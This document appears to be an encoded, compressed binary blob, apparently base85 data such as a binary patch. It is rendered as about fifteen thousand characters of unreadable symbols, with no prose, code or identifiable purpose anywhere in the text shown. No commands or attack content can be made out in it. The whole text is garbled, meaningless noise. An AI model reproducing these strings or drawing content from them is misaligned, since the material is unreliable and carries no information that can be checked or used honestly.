z=GnQ&y&Oo+YR+l&G{*Thk5A@G>lab<+lZ*aZ(9^8Wdn2Tio5-{`|P?of_R z!;?1(#0V~5q$E$z;ga)%PUG?7(2^d-=P?-_@ZKFG)h7EPk4a zU=zi&&qlG_mv%Y6`Gf!94&Y-pH>9nhHH0OvBwcy%04O)!lGcpx`Km+sa0%AgrD;!sY%(K!Js8_7w<&F(#)h=Dk}xh_ zbB=p8sp&R;E7_12d^>m8n*~k%Hep-Df?ynn`uee(Fh$D?P8x|3sk)e=q(`T2>K=U7 zf85sEz8H6^bJ?yiecOZ?R!iVB|Gefg?qE?I@t4( zx%7WQ@WkY-Ed{}eiKg!!4uNP@S+5`?9<;|{FE4rJ(xjv%)le?T?v8y%2(aaBLF2^a zHgkY;=c-#GK&i$-xc5XY0S{k=8va_gPFkxD9<< zoU*Lx-K!`&@$NYS(>s_>ahpz&wKg>~o){QRj{}F=Y^J+yro&u{lw)d#g@AHABIM~n zr>Bi=0Jc)aR&s~7_6qEc90yPjCnm#2D%8?NEu}*>)Wbcf{etWh zv1P#TiLk*p^wZneJ*|9nmiBC>U2LYE(tbuk(}~Ic@HVRr&9%8G{#18SrM3?PHwF8# z`kPKyBQ(edfE=w{^O|P1nWw~@`tQ$7T6!7VP|3znW42FC{k*oq=vhDZMRbKTLG;yM zgja);mK0Da*gY@!LhxD{X!3*4_%`RJr6b3Pz-H&U=G`a^5h)lLlG_RnU<~#^4;gGo z6eIQ|zCmS$lK2D|1I+A%`*%wVnCy#;(22p77&8>SM4v} zhl``(WccUE&k|XAh6RNFcqF}Fn+VHoSK{C($p$V1=2ZQWE=bw7Z*;^od=RO<_*_6waJul61A2WDBtAtPF!~k!0e=4&9Xf?RJL23Wt*>Cwxu?DKy`%zX~t-f^QclT?te2gHt!5 zcLNN1S!wR2G{tGrY5Ur2`LZGaM}q7DFD5PdP)QS$9?5?(k&g$O`gw6#_F8hzw%z`c z9c}y#6+Lij{n4p~lJDn5Dz7E`w*A<4brcm4kk~>~jj1!cNspW?X>R+hZAKKOq$MZD zPUo{WuAUSsU&*3BI1vtf*48Vkt?y7>q?Ry!(}aIe8(Pzg$^Kn0`v{qLJNOYk|O(Qq8eTI>(0CU|XU&AU}W`F- zrx-(bm~++o-DfWxgS!!-v$|u7s#<|Mt)m*`v=itl#@mKqEqa`F53QbtW9oT5VDsMk z-JXRfVjhDWpPtC!a7L&A(R?-qhFQbmz|e4*BCGK6*1!m>EM+{zlw(@b(l*vm>tE{EA-*OJT5i|c#KHkS1bmf%9 zwr3S^+ii$Lo|BRHMEZ25!>7Y7p9X|{>PwfhtSrmL2ug5w{q6-xOS!*PtSYh1oj9qI zY}nlA2_)3;dCrj2#SeRj+Bpj>sexyIhl5904$66og?50nao*H%IEfjd^ayF*s57$* zc2~W)7)-+#IoLV%rX$Cj8r4eS8}KlAq70xB3S)b8O`keN;<$6mzw-^fvCA zg>BMOa)N)wyom!JdxWh;?v6`pmZbkhwxNCv-g%+3E_E=BlH``xo zMEkoHaqus_!;GH=2jTWQ1T+#%!I zdK8>$qV=0HtU#Q-F{_rxyN^<$m>uu} zQ8oODN{R`DlIAxhpp}kM()5rtX$hYcqZj1hQ6I7w#Jo>xEjM_lTu%CfXIqZ|@o+B( z&e`*{Z~f<~zQ&8v zP?fK;JaI}+g<5W-N-uO`NM-ih?nrcISY?f`Y1%WKw4@jkc4_9|0=8a99^f#uAwE8^ z`xkUDwT-`X$_wHSh4UVPj~mz?fzG1t2T6Udg^z|=sSUQFbtBG3IJcpq#{UF8&%!Kc z6(_tH7--LJps&AvQKAv(t>z0j-Jk}2_21#1$L&agrWPSOPVWQ-ZH^3;`8)4N{RE^L-7Hb1iZ&roksK-*|gN_pO{@F4mrPv|^NVpM>9~?K@)^V_JO^g?-h|e@DR6>6xRmFV ztS#TvaowWC+FpJ%ReyGFW@38}w%Q!Rr0dq>Hf~bGf1!|lFp|{3PTzjK^nX77tp7GH zaI|SSa5$eMXUgOyJm0LMYIwfc5@=K9a=P4fif}S%$)920=BO(CpXcnKXoAizxgF;& zoJ={YzH-S>Zb=(_c6R6GDXl#E_?jL$zGk#xWoCnur{hr;cnrrRRY4~$8Hg`dnP8tV z#$f{0*HIpywS9;4p|mZ_*F%)Au}=WD$?_92S(br8-PdWK=ropUW_n#m5UFm)_J0v1vbP z$u@kkd`)V2nsL0MEua<02-CJ2aWQU(N|CwmiJ~dWnFK}mV)8mRsK~ih=)NiY1^Wa0 zg`+>nsg>)=i>BDHP0bul>c4d(SI2YPFkrfw+BTKbW!%E}29v9dz(AaCGL|%7a$sK8 zTfy!A;I>d__3zo}!y}=Za? zKZsq}a0{go_gVIA^w)1pJnr3#Udb<6rk;VZjTYcx;J^Y7z%S$v!?fXLxt|zJKw)BH z<;OkfPdtIo@wV;@D0w44ey1;fhm0?whk5YYyGK3q^Xj-lqukScK-Ah_F z{6pRt#dE#lPP> zO?s>#afYP>xmztU-l7vgMcG;2p)=h>!2<;(>I(4*37&3|Qo|BNQxlcQHwMIfTpZf6 z1oNxy14~2MzA1`7aNixC7!3aD;?z-B3LT9MB^qHG1~yy*Iw}Nm3F+ zbdp2S<|ozm*%xYk59ryeU+=y5qdcTya`r!9e|w%h5|B|_;3`@j2b0hV4{PyQWoOxo zr4v;i7KV{!$zw#e0V_2<(1-8n_Ax^@75els0V^P}2fm@?5&HD$-CJVpI#6}1?Y$TI z)Cj3Cg>K#Wa*BFQuzjHlPOt@iq}>uJOk4K%5508>@hnl_PMc?jez70zE8f7Lc;s2BdgHahp`hYJrA< zhpiPX*;|&3KT}k(&jTq9ERwL-p#Ksy73lYZrUTt0Xa>-of{K7{7gP##o1nQscMGZj;ygOur~=}1Q@lh4v_jA# zpqm6;1az06I-pwxH2~cw=yISt1T6zvDQG#+DnZu*-7IJY&@F;)0lHt%N}$bxQgBXK zBWM6ni=aB72L&|%Z4uN8v{BH9K#vI80mQq)*e(s|2|+u7{vzlrAigRaZ|nwoT+k0d zPYNdz2pngDnq=QY(fSwg3FKzM_GCbzIC=HL37W1mQ zAh;d3LetXmni(D%rezeAZ1LlTOgyc)$kUt4W*OePj}vp&od7gDHz~ITZw6(3g9+=h z9NrsNSMR;qTJVOz6FvBXRb1d?%zdxzu?!esSr5K}$XV}fylB>=@gaEwvHkGb*hJc- zG#p64i5d6}2a-R#vEey><}^NZAdO08Y>~B;|zJ%nT_w1NpL&}GsXEz+kkAT1a*tpu{&3qXLd25`~ori=R zn3rroYQFepx|G*=t>q}F4bRbQfbreU*U(tDn33X*lhg3#N<93LGB)434;8Jv?7FrW z%;&5dCrPVfg(X#}`M9sbSJ?fb*J>x!kL?>5IBo*&S@i9W`JYjP}Uk{WD8u6^ao4B!!7AP2j{{+Lc ze}b|9lzprADN4>@OfC;*$i%1Go!GSRp zjsj2`3Q^DZBfJf3ZcN$ ziqcky+FyuF(!@)mq4MLf6bh^grKJ$Hc8Sb`nZQ1teT|+w6I;6%L45$HVX1w4&#XoSZY>?zQEiJ$WDGeDLfuKfUAI z^ze==ZywZq!9huVPCa|?TgUyBaZ+|g*7Aai7oW(Vhb?vDudh1#raLFk%>QE7jjIkm z=E%jl*MHda{U2|C^@TxmLR;^Q-0P0M7a>-?6Yf z`=kl0f81Hx>#4@CX0<%A;>VW6y7!N|e9q4FFK_*NWGW zhqlr=_L+qndspAo>+!xHZTdrf^O0lwoY{W*Gc6nTpL*`C2lx4V?+rg(``sm%-`pqZ z{0AFHob%e*V+Txnf8I^QE}p#f+2^h(c;<)aKYIVgdtX_9{e!Z(hs%o123x7^KBZIe9>U4Rk^Ve4`Gf{{zBuWL_Y~vE@RuJB8t=Blvv<5FG&;|m z(ei_v!_hO|!!e;2=+*RRo^W&a7LIk6{L{N1xjB7=^9LLmUcdLwA#P3*Vxn!NQ#`A( znyIUhD!Eo8871*XNHWl57?y6S zm`YieXPT0pkg%PpUn%jE+m$HEZ}}CWk0rTP2`~zWIGiRkgf~k;!;zpiCn5BBlqAv8 z;+x3~;f-0wn-XpUqf$T1lyIXMS>|@M(!qYO0J7vKSIjr~JRFT)akyf>G1V?%w~*h* zk|SDFGQ9Y=Bvg`Ll3Eh(*df0j4NF)TW%v(EIQKf&A<4qGi|rEG9AK$kGGZjYEq6#p z;oB;QgjwY!OE@iNV~brP%e`~v7UnQxZ#yK+*ynZ$SM-*>Y%MMB1tKdgg(b|_u_*np zgg$fp2utYmZyXZ(T<(z2=S2<)%jZIegg!5INa!;k6_GKu@7_DdQWjkScTmF&Ejy^C4@2A5u&18QjR<%%&+_LOT0RR6%(9%#!S2pOY@BR1sa(5+ z`_>ru*|m;gX%wMCEjzLlca1~Bv@UQ+*bc9DNLUvu91`a10f&UO%nfI(v}C)jw;U3t zH3X;WFo!I?BI3yepzi>+6;cmMmI}>(N4^?TY-Xt4Y*d-%)8eR=&EPt{y z;o;?WPIe|d>RGx|C&<*&fELiIqa4%^mRy()`EU^ z30H|fIK?K(%z)32A7qm-DdR5t2r!ys%UDNmVlTMNF3ILzNCR-W5iXxhq~3zBVF`Qg z{#L2Ngu!1{oW5U(V_%Ry8L?{FX7XNNJNowUvdx?gF$l-8*fWaA)WUFS9Ps?>_lLD^ zFtvo^SXdgx2rXJ;crfqC3&Tra-)(9M$B`C_+LqSl->+^6YdvFX3CEEZssmaW3MAB* z^uazby!vGLz|<0sBP|q>EvF2b*9@ZL!@rgk=jx0z-^k>k`FCR*(E3`1{RbZS`ZT2qT0r`C~>#CtgNVrXAA3EeA{)^ny7IZDnT4Os@n&zU})>m_7?TB)+tjU6=|kkd&p-I+i*njVqj_hQrfpE31p=lzGRE7&oq?Vbkl) z_GTO4Oz;+F_)hjtm^^-BPQj#8y#8@n<1%ACNt76GNNv2|J2CI1Qwk=Zgfz|j&j~tU~1#30_3`-;c7u%ypk4{a^961^rhf-98)%fv1@adNe z?;a9o+{{NH2+>yK|KUazXC0%g#=irR!}y+%Ey!y8wlguKa5-!Az1c7*ao;zLocc~_CsV46#4Ib_&KFRsPJ{mmwH$am&ScAuQ zFkF*2Mw2&Qlb5f-WBHw~!Q=JiEDav>TdBcgeVnhsqrCWkJw;wcli4TKp3(>{{rrS@G zcd!PJ?euU>UWO*`SWRB829M{Di7sCB^T#w7&wc)2`OVbi&DP-2ze*P`x_{@ncy9mL zPA}2q{Z^BAr3R1Xa=iwR{@td*qrH1Hd22LyY^Uoqc=T_h29NdjoQoH|-d=I>qSxD- zn!NWld7o(TSkC{{D%O3ebWPqc4Ia}SuF1>Lw-gXTh+w=P_p1Xd@`$&`bi6-wKn!JB%^1jjJeW%I$NrT7!5qDbW<2`wM zY4Un&@K_)FXz8a%dBp9YWqP0{2PYw%buRT@0{ zcfJOX^;_@ax%&}$muv7i{x!LH?t0_6d!vizPM7vpx_EATynee+gU9lFOoPYqbfYHk zISn53yUoRO=a>ECO${FX`PM5q-HF^Kk;IW){yLfK@*xx);BgdiW zynQryEWd#+o;$zf4c6eX-4E5|4cFi?zgaGxJHPvaH$j8Pb~Vk#bLW@585%s6ONj=L z$oX z#dDW4c~5BaHfiwK4z{{@?s8_k`l|+y_TJFo(ca%Qc(nJv29NeW*5L8ChwUz&yPVlx zx=o85*WBg8>x$kkp4%SV)qyUa+aAvghq`!fd-QLJi|4jS-f#^b%XyS0?^q2U(;cV5 zV}4I`@!a|4`Dmgh?+gtd`%#ewkLjMH$*a-eG2M$acpOiEtHGmxS8MWa(&Vku;4vTf zY4DhjM>Ke}w_bxsd(Ua`c%FGpgU9lFUz69a!DB!F%Efc{OZK<#G@U$QiL zV>Nksn!Je`JdUSlX!2%h@HoEA*WfYTg_^v}G<_+g&_&`H}ZGP2PtZJm&Wk4Ia;zU$}Vg z{L9Sngvu_L%Mf4IcBG=Hj{2<@{xsCND#S z$8<+&^2TcLSbh^Ucud!?$(yXfV>zGU;zh5ILJc0TYv;Il(d%QLCa+3^$9x1_Ja;}g z-e0W2V|!WZ;ziHLG7TQnz1qc#?%&Otyt_1c4`}k%Y4SE|@?Oy7y{^f7Pm|ZK$@^N9 zw?~uLM z-77SByuWe1Chsl{9{qbrgU9Rhr!;xbYx3UEkK_0}7tcK}A+JW0ccBK4=>Z*lS5<-&a2>EgNbL3{VQc+u_s*~N3)V?Neu@}AP*alG2( z;<^1J?_~`h$KAIzc(k`ellP?tkLmuT!Q=U@=ZwzJ`{ec0h<5gn!JNGc|$aKZ1*EHc&xYMHF&h=)8NtGR1F^O6>9Kk zZ=ME^_RiDb(cWd6ye3WF3QgWBP2L|hcyc|h!DBz#puyw(;CT(6Tu*E8SRe0b^4c_c zUu*I_+~UL*qFo2jzr8hi2Ws%xt_ExHm~Ms!kM_oD@L0bmY4T3h;L*RcGJ@)erA8#Q>G$F6qqqR)39(BLt@kGOd5c`Wn0UX%BN29MVPZ@75we3199 zChzZ>ymn3A7n;0Xn!F!1dGUpj<3aRt>7mI>(&X)@$va4sH&Bx|M3Z-vCNE2qm#xVg zr^(CHJWXCelXs~GkJlfKn!Kwuc%0|l=;B2`@871uqkng~ zc<%O0-u)UpwwH%Bc~5EZc>dVp;<@un-d0WC>zcg3Y4CVn_`8eeE`rbFKkym zHFz9{`fBhv-XG-Rxz7u4JUn!MXJc@Jpvp48y+KHPJfyf-y?9PisSd0%Ppcz!$AdG$D>k_-q15EbMZ+U_ zmmy*vIG>fOGUPf)(Rk-U?kRJYb2MHqcniUM+~mfxHv_zvz!^4M+2s4s(d<0|`Al#Q zoTGSbx6yc~LH+LaG<)2-a|$?97APKf zkc`GFfqZ82q1QgCiqtav;| zDFGlR-rEZ)K3 zEe7XSlNT!=so<>!r==6#Mc};x&ctOZ-B{xR`&S(}D@WPQi7GcUTM_mzKZ%dXF*n2E~gtzI+beTyV}<(J}82;LQW4-;Evf zn!!s4XNSo{H;9^#BFMYn!$dmM+U>&@CS0dHgfPD(6=a-3rd1Z&f_bSEJec2jsnP^BCXZpCQ(HW)c!w zzS3j7dq>Cirou+{Dv!~Ge+C|-rCR~{4dBGz*)fl&jlIFS=q|;J)h|;qK;H?@(|=Yx zw(n@^4nlOsV~PWcglN1Ukl)iD_ZXA@qPScyBpNS`yr(?I!u5)GKn&jNkk8!UF-C4w zyjb;i86te(Jo}8|#j3YAVJ~fy$M^~V46*ESeA#!i$G8&z9r4)i?=U$+#35RKS3sWB z;xX>QKSQi^2P5Kfa9W@3I3KOx9s8We=>KBJyb}>!3(jLNDPF8`asqt%6r7{CDjtu~ z^6?fTvcc)cj)Kr925%Y0zm?z|`KIEl?#A_TSYXdyMOMC?2nKqviK9$lnI%>^8-VRc{A^S8Z|tB}B7#GGc<7 zyuWJj_Jh4cKSBS%KLd}^(q;Ld0M6;1@O&^(1kUPqWiQq|;!@cA5S)@v6)#r1IuX3< zOb(!gX#V{UX5IpC{y&sGUVla7&4TP^@D|J;FL%5qSVJyaIT5uMbrn&?@!>YkK{$M_bxc?k-P|d^smPk zs!SxaIK;~D!Qc%wxv|QR{p}=8dxhZ5>%<=Gw^7sHb>Q9Ji9OcuQ=0ZRgSSn?-WQto zz6Gz_KQ-E)$$_g9V%5hm@Q%^2H%-&tOz_Gz>@C%_cNKUyYuH<-X>UDvFKF0n*R=N~ zczZPL9sH$U{}>G32$LJDf3W>c(zJI5cqN_KWB*vJX|D;q8#}R=4ttM+^KK+B%J}jl zI6c1VxIJ^c8UoHSk-RAOrh!u&$%`1T=-;K_+!M)*V(%GnUXJ8N*yDKhxyb>P5UaoK z^|i<7i+_e#^~?N@FgZfRA(p)y@CrJy$MJa{IG36{rXI^)BRJP}VvptbAUJPD@}iXA zx8QX9rt|y`0w*hy7scMG;LMEVMbrn|^Mxh{P(rNyE(Pxz4SRpmwD%-S#H4|HO00PMY>X|D~u zuRF2F{@eFkz4m-4c*9I?NA20KY41$%$~v*f{MLhWTO=>ac=aSWTOxT8;}z@oV{mpw z@}k(=?>k)YvpTWI_I$pky~W@)bz+a_%m31}w-LOTIU$$?9soOn)b@U3v^(?W4*hlDycfxf z;@=){dU-m|FY99{I60BLDE11$nHR~6$S=#U5u6(%c~R^=3eLtzUKD%pf%8QqFN(dS zxH#h={4>O=U)D#q$q^zBvFalSyn;^bF~9RP?Oh1o(oXErzq>T;-4EWnPVBLNybex# zBri(&^@xu%_QO9ztny=iv%r}U$%|sI7@YZ$yombc`6vj^J(0X9_MQRf?V+Xl{;CXZ)_ zSpNM8PLFO8oLre}#Nr+`{9C)X6Vvp^mT+`n9;4SII9?NePI8R0LqSWs@;Iu{Z zBJxZB_UayI9DsiYtKCPjHwv7bNM5z`d0s7S6q+0{h=VtIvTGktwySL}9^ONqRZ|nv zos|en!Kwt zczh0iod%Efd5b3RHVq!%Pq{;rcee(Q{@ts|yI+&HMw9oT29NoDM3eWJ29Npuiw2L+ z>DO!WHfivfkLNUa^zS7N9{qbollQtN?`=)qdm23E_ahA+^YMu$?{f_v-=qD?#dH6@ zg73R{5<4GPo7nrcW7~I;pC*e17=_PX#RYos%CCr_AC>Y&skuDAp)eOicnkuT&?h|in0Zz=PA0vRW%Z0elb;Q%W7(s z!u-nfY8K5hjjAsuM}0ZhMq6l)S!jxm>=W#w?xrfT7gN7X-qDKuB7=$l?Nqr53k%k;M&ERG5UhFkDqx zW0I;X0}D#cLRDDN1lOp-R#?fU;O&)AWtx=;^Q&r#OGDLy%+IMcGtYvk zsjV(o)na~|Z+$Cw#POSoE2%EY$~3Aft4bEs8pUNbrDY|eqhJMEeCTW00xJg49#cNw zikVk-{+zM}#WgiZ!A!dX?e|=>x~fYmW*ImvtGYJRQe*J^&PIG5;LHhU{@Sm`Kq z9PjaT93L0gaeRDy$MGH8$CSU5^gU|eikZRqcy3D?J9s?NE-ONOM0S`zkKyS!KF-5o zHfHc7czD$iGr&8ZRbz(#>3AcqWB>kt<8h~})uiRIv-zfU%Z3B@vnnu<3B#W ztB)Tjf8HL86?p#XFdpY0UPi?VY#$xQSqlZ@0t>9KSoNpI_tuKg*|!_ixT`I;#Ip<1xSKP`{IS_K#R? zlk(2u!RYk*u%r1A^*f69c;XT|o*;G{PksK}GG;*kj26#HEenQ^c9=e2ed29Sa{04m zhOaR*^BAc>y9IfHz86#k^pl`EAYP$)jFmtMf|`N$64VORQxKo6?JX!3C|QsfsIQ5NC~p1*HO|3-SUD6I28=Tu>d*2tg}>Mha>MIz~_{ z(6NG87{?1r#nCH>#|eUpa6C~^9gcoMD{;&h)QsaKL9IAW5yV;fG(o%#I$e+#=qy1+ zKxYf811c7@5~x&AGteACtw84p;#J&yL8(Ahg1kUAf{K976I2IuzMz#r7YS+xx>Qgr z&}D*H=}QEq0$nc13ltPo1azgKI-sistpvJOP&3dCf?9!Y62yk|dqJr{EE|vE1zIJj z2bwGa*v=Zn(LCru92xKx+kgfgTrB1oRg{bwKL{tps{nP&3eG zL9IZ~3Nmn#dO=Vs&{jcSplyPRfL;?+2lR%Zl|XL`Y6f~&P%F^;f_OXp?}Ac+b_ntU zwF@c&`iG!8pf3ci1o}!)Gte$Utw7%iGVt5h9|fiISFWgclpj#Mpdz5|g6e>J2wDl$ zTTnAllAuY?m?htF%T_*1%as@SR2Hkt=1T-Vl>jlBA!gnrQ;n zgk^JuMwvp&h^ef~QGLOJRA!+8h02OTl{pbAIICu1ag|wUg0qx`1(nLr1!Z$2QDnYE zKxMW1EIU^f;et@HEHKMMY8a2jR1E`IHLQdx-@vMd6+mqYkQz2oNS2ieS4EbU8Ip;h zhP94}8f4J~^j;+LA=S^XtbTk-_2W~jUwtamQvDF9>Q^z!5?hEul21f2oA{9G$EQ@k zd@8wAKfbH#S3t#B)em89bpVeYLQN*r7!YCBoI+A_3Wl<7R$?e#xesBekgWOy!>Z2^ z9z9ZAm%4>a>K31>ZULlj@hNpnLMYEtw`59F1yD^Dz-+1tv8kFeG*DBfP-)q$09w+5 zngxY5wZ+x7$S8V3?JQ$XWo;!t&t=cU6DW=Yg7Kim!j!|DB?n%F@xCjB^Sgo*@B!!8 zE)j5U=@J3wsV)&Ze$4job5Y(S`1d6jGo_9n`^8lI#UuE3Pge+h8@MY3u71-M0^k1Z z3W2L=b%oH;V}yUFe|%f2D+Ih`)g{8AUBU~)NbMqi4D2F)WOori4(lR*4C*3&q;(NL z26quZ4(}p4EC z5@AS}@IpP7>k3Z5haA9-EGj}yCyA18GY zKYU%p4}TZ&-iV_FySV`3NaWDKUTZ_SKApGqkLlJH&%PVx&=`~EIHOCh#F$? zW65LLiB+DlMG3#kRiXS^4!@Rzy?gxH9)98W z5aoU>Q;0Rb^|M!o4PR@+b{LEQYdxw``n4Q>EeCsl`9IelV%%^4KUWU+MqtCgmcy^( zgRMCjzqW^eQ+xOq&x@|LSE>#FQu1Hh$-k+c*y_#>e=Yz2-R0lUUfDJrOWxJmL##E~ zV##Bzofb>}ug-5QKV!*b`58<8ul7Hd{cC^beE8?`W2O76{D1d&^=tk9@2=l|wsVjj z{#^O5?c{%VJLz)u`!mmXUCw`dXS3m7{rt5b*_y+z_ifC=_@(+qthLW$J+J?z(*0N4 znPzV^HvFF;=lc@T)*$OhZp)$t$&VH&9~UK}BYCv;K>jZ!|L^$2cT=##k-_y1u@8{J z{S~;k0e@nEeT!t@2kh5`jgJh2r$@d+X@6fbBqvAh5z%{ZZ0~3!bnBDU-A+XOui^i0 z39Ljzsm6nRkFnZ9>1a?&mSLea7FuheF=$VU=e1C?g<34c4XXl@#$+6o##W$3BHM1s zrlZj-SrL%paT7L$c35bq#hZ&}uVSl!E);uL$AhH!eDh&gjNogbkDUDTbNLfh*Qn4$n z*p*i7YAZGs1A)>_w@?O<(p_!I)&MEXYk`(ZjxsQSDBUqYD%K06V%J)++$v4Qwpg)V z3`k1X2c%*r16?7OTddfvR_t~wb}|Msr8^x+dAi+_al12RuLy&k;>`t8vK^LerzNYx zfT(zjfD~`HB{Px@qe;A~15&)pEtH7Kfs!QyDc*8Rw!%Uw*tkT+rUEIAbRgyZN}%PE z#%dtt!5T}Jj?G4tMuvsP04ZIsCG!E9xREw&X%d9}krKAirPmB|*G4y1I8fRyfBAf;Pnp{+nlce{nA1k z6u0V$0Z3vIP{+kun^ld+M8;!OuK>k{aC$>nw{w$+N=0i<+` zu=$13oeQLNtAJGO4l8!2g?0noD3+^IL%NHAlx`i68gq7AvBtnqY$A|~tpif&UT(!M zw_+0y3&kb_Da$E9YD8LY#jdboS6Z^8zVevn6Y>WWK{gyvaa{x7Ctux6t$^$(&DYQ zWNR#5>X9LhbPHtwsno^*slMO^QeOEiv>HgIw#Gthfs}4DkkV}dQo36$lyOu@cMQ-i z37jphwNSH#yu(90ACTg;SZHe)9c>sd8MLw;=ytKU18A$rb^_fgG9$w^6Z;GrHXoJXh0=*@&-9Z13y*Gi2tGxTZ56mQ) z5Ojz}#icrJu^k(0F{GA=+BtDBXOcm&Mx|;EWPm_Jk_ik6wNZ%!hUv*DtyZyX+S>cZ zTiepQghZs5|;|%f=eTD3D58UyUv**i?+S*=Xsy^^L}1F$;|isu6@7G zbzSGoHfpZZ@q@9{azIIH9?;*Yc|ng*D+Ikj%?Em%S}Ev7YGt6E)M`M3)bO*U+Fz(O zgLYGE13gWx1N0KL4WMVKb%9={)(!d_wIt{jYW<)=YJ;FxsSSZ%rZxupJ2h<dKQR@f2O>F>_F-dCT5NMRzD9A}oE5Oh3QgeZ(P|F3qOU(nyqLvSO zk6Izq-HVXQP+8F3$YOdLu_A#{_ke8YV^a(XDXePBn&^~HD&}r04LF3fQ zK&Mly0U;alFASPZtr;Z0XP%+8fxbbl1C&W^1L#a@T_6XwZqV7(k{~CwevpsaAZQY` zA<((h#z2#)XF>FL2U?>Lv0jPNliOL)235% zftFCq1sy@n1Nttte9)293PH=L8K4=|NwGPnt zsC9yJsda(YP)mT0rIrL;OKkvj9JN8vb<{>d$5R^vwNi6^1GSi14ycWq2lP2=UXV$x z5Og9nALs^ZrJ$3jm4SXptp?Lz`Z={E zD34k{XaluD(8<(>K)<0j2Ko{;tq?z3PAv!YWoo&gJE(aQ5yvnQ5yrjO3ig9esG*x z4oKEkGBgk9Y-(Q62(?1cIn;chx2TnZzDcbN^bWNekdImz^ggv_kWQ@)^Z~UF&|GR8 zKp#@;0-Z~(8}tdaB*;&#A0*408QLJInA#A?L2V3l9yP59)~Mxx=26Q9O{L}q8PxJY z+0=ZX05t>Trd9@;Ppuqu1hp_|0ktO3QPkQ%L2B)wTxuIYCDb}W$5ZPDolh+RI+0pG z=mKg3pwCkq0+mu51?5rG&ce^RQ*(j7Of47mEovUnSE%KKE}~Wl`YJU8w2)dUD4$w6 z=wfO$paN=5pi8JVgU+DV4!V?D2WSqpPEZ-OF3?%j5}hZ2)u`wL#EaYNMdb zsf~e(skzS9v@59PfDCFL(08bLK?|rAg07_I1D#K;6tsw18R$Z4HK1~8VbDTq&7cZu zZJ23M zT23tix`tXmXa%(a&{}FkpfI&jPzyELNLfkE1zJZf7gSHp1Ns5Ad{6_mLQtHV0g6y7 z1+`Nv2Q^Zw0o_Ec3ABn@Gw2p-?V#1vIzYEk>jX7X>jM3ZS_1SvYDv&9sSSXxqBaQn zHMLRD_oT;1G<`;7j!4JLeMqTe4yV`D+OIktqk->YBiu{YGKel z)S5wSskMPNQtJR+M{NUWGqo;Ilv+3F&(xBj7Ha*V1hqj>E43le7HVUl>#1qFru9+F z0j;B!3)(@=3u>d54|jvFGEdhFgT0iJUY6GC%)P_Lq)J8$CP}AmOc0JyzALwvurJ!F@ zD+5iZRs-5VEex7Ltr_$yYHgrnsC9sTO>G0{IBH#>-%#rYeU4fZbUU?vkcZkJ=(p5{ zKwqRb2Ko|3$4FG>cjobSJeY z(ATN8f$pN#4l1O!0rWd+ouDFW-Jsu7OMuRy)(`pvwE>V$Z3xswZ4~6ErWK=gQ*(jl zQOgDWiJAvApIScXZfb>~5^4tM9%`kaQflR(d#TlcE~3^1x{q2j=n`t}ppDczK;Nd; z3F@ZS1-gP-0ZP^;bQQHO&=zXlpsT4RL0hTy zgJg#e^FPowYD1tXwJ}g1HEkYxLTWjn?bLEXF=}2=l3G4!JvAR_2Q>q9BegQn!_>+_ zKcW@}JwmMs^kZsmphu~-gJh2o<1gqjYMr2;QtJjiPAviY1+{+A6VwJkzoIq->Zdje zx}BP4V0DX{3-q7VazVSOc|iX~Eg$qGwL;MEs2QNYP%8y>Q7Z@im0AtxZfZ@Sr>Hf9 z?xWTYdYW1XXcM(g&;YeA&;!&Gpl7HhK@U+I06j}>5Y$U;6!aXmG0-+@t^n?0sO5l? z)I6ZSQS*Wxp;icbftnBWIJHvHi`2?MJE_%x2C0QXf1%b4+D)wu^fa{&&`Z=dfS#q+ z1$voUH|THFlAu?p^@9ef4T4^!HUxT^+8F5X)U^2^YB`|SsO5r&sd+&|)bc@ZQ1gi? zH3RfEwKCA_)XG8cQVWAds5OE9L9Gq+2DNt37_|+cH>q`kKBCqQdW%{Dw2xXp=xu5P zpbVGP-67B@wNa3hnzjIUchp>Q-lJ9sI*ghDdY@V;NOs9F{(}BN ztp;=?wIZ3Mtqhb!tsL|%YGKecYE7VvskMQ!skMX3sBHipMy(TcIkj%k z;nWhKE2;H^+|&j@71V}6In+i$mDIHJF}tDW0xhAI3p#?D2lQQP`Jf}I6@r#gGe9$_ zm4d?5%0Wj_s{u7oYXTijtr@h6T07_%Y8{~OQR@WdQtJY(p_Tw0ODzeymf8U5IBJ8S z>!^)_j;A&TYNh770JWG}4oJ?4WN04H=csu>CbdG)iPU_c8>p3nPNG%@`XRL%kcV0r zbThSP(C4YOfo`SN0r~>94WOS;>jHg|S~uwD)RLe)YW<)M)CNH(QyT*PhT0hDOVqSd z%mk_BfWAyE7jy?TFG$W6WoY@JyQujl%xj@^g<$`8W z^MD?vmJceRRtS2GngNd< zMXeO{O=@MJcc|5XeAL3A_o+35bZTv&52$s3=2F`L`jA=|=v->upiihJL4IoeAUVQ_ z`5&m5+7QS=Z47iCHSHqwgw%3C^Qh&5rc(2Q3~KqHY-&DGfSLhvQ!4|_r&bO+f?61~ zfLasiC~9q>AhmXooZrIy4^%>}6LdVaZqWJE5}*^Q^@A>;HURoOwINU`wNX$WH8~J| zAvG81%hYl~-=gLLeT7;+=pt%`ps!LhKntmrg7T@AgXA6R8CngffLasi5^Bw$GpMzL zE~VB1nnSGewNTS8#oZk>7ib-|Tu?nV59kNf@<9#M3PEvd1}H+U6x2?w9Mnjy26Pj(CeSKs z&7fPTwS!hu>j2$GtrOHltqb%sY6;Nys3k$aq&5J$irOIP*VINq-={VP`YknA8Afqx zIUqS#iSZY7H8n5jPHKgqYpD4^zo%9Tx|UiQ=#SKDK+V*`pnIq_gVs`O18t<%0lJRb z2GC||U7#qnZqT2pB|$CJ`aub5gP>MwL!d3x#z5Co)4q*6VQM*`b<}b}JE(ay`OpcV#U2t~Nf zpkGmI15KmW0s1wy4WPrRb%B0Ets69*S`u_SwSLeHYJ;HPQX2vtLv0N7AJnufF!QCB z1Nu*DxuDNc^MX35<%2xbe4sn18K5sxD+B!(wQ|sxsD(jyQfmU8LahyS7qxcKsnj-r zen+hn^fhYTpx;wVfM!wa2mOKC0O;$~hCp4^MnQ$t>jG_|)(u)oEeYC6tsfMj zHVE2AZ3wiQ+8C&hnnd_2YB`|o)N(;rQ}cq7)bc^i)O?^F)C^FRS{dkJYUQBosf9t0 zP-_CksI`F}rPdBwPi+I}F>0Nl8>w}J9;cQ7{fJsW=m}~ApdV8k0`*fH1$9u<%CWjd z%?0`?wOr6HY97!psO5v6q*e&}6*U9&7iy)T+o_d<{z|O|^qkCP9Mm>|-lWzEnoO-5^cJ-Q=u&F^ptq?FfEH3K z4I!o+Ny z)oUwjwfb5uU#rk6wbQk8Yqd}<`oRme`YQapOsfxQL9H>gC{kY$stT>BtkOcEMWGeT 